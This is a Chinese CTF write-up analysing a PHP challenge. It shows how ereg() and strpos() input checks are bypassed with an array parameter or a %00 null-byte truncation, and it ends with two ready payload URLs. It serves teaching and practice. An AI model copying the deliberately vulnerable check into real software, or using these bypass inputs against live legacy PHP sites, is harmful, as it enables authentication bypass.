PHP – ereg() | strpos() 函数绕过

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
$flag = "flag";

if (isset ($_GET['password'])) {

if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){
echo 'You password must be alphanumeric';
}

else if (strpos ($_GET['password'], '--') !== FALSE){
die('Flag: ' . $flag);
}

else{
echo 'Invalid password';
}

}
?>

代码分析

  • 判断 GET 获取的 password
  • 第一步判断 password 是否只为 a-zA-Z0-9
  • 第二步判断 password 是否存在 --
  • 要满足这两个条件,才能返回flag

函数用法

ereg()函数

ereg() 函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。大小写敏感。

用法示例代码

1
2
3
4
<?php
var_dump(ereg("^[a-zA-Z0-9]+$", "Aa1"));
var_dump(ereg("^[a-zA-Z0-9]+$", "Aa1-"));
?>

用法示例结果

int(1) bool(false)

该函数期望传入的类型是字符串类型的数据,如果传入非字符串类型的数据时,这个函数将发生错误

数组返回NULL绕过

漏洞代码
1
2
3
4
<?php
$test = array("t" => "est");
var_dump(ereg("^[a-zA-Z0-9]+$", $test))
?>
漏洞返回
NULL

该函数还有一个漏洞,当用户输入的url参数包含 %00 经过自动转码后截断后面字符。

%00截断绕过

漏洞代码
1
2
3
<?php
var_dump(ereg("^[a-zA-Z0-9]+$", $_GET['password']));
?>
漏洞返回
$_GET['password'] 值为 Aa1- 时,返回 bool(false)
$_GET['password'] 值为 Aa1%00- 时,返回 int(1)

ereg()函数仅支持5.3之前版本的php,5.3后不再支持eregi()函数,而使用preg_match()函数替代。

strpos()函数

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

数组返回NULL绕过

漏洞代码
1
2
3
4
<?php
$test = array("t" => "est");
var_dump(strpos ($test, '--'));
?>
漏洞返回
NULL

绕过分析

一、数字返回NULL绕过

  • $_GET['password'] 给数组参数
  • erge()strpos() 接受数组,都返回 NULL
  • 第一层判断 NULL === FALSE 返回 bool(false),继续运行
  • 第二层判断 NULL !== FALSE 返回 bool(true),得到flag

二、%00截断拼接字符串

  • $_GET['password'] 给出 a-zA-Z0-9 任意字符拼接 %00--,如(a%00–)
  • 第一层由于 %00 截断,erge() 判断的字符串为 a,条件符合,集训运行
  • 第二层判断 a%00-- ,存在 --,条件符合,得到flag

Payload

index.php?password[]=
或
index.php?password=a%00--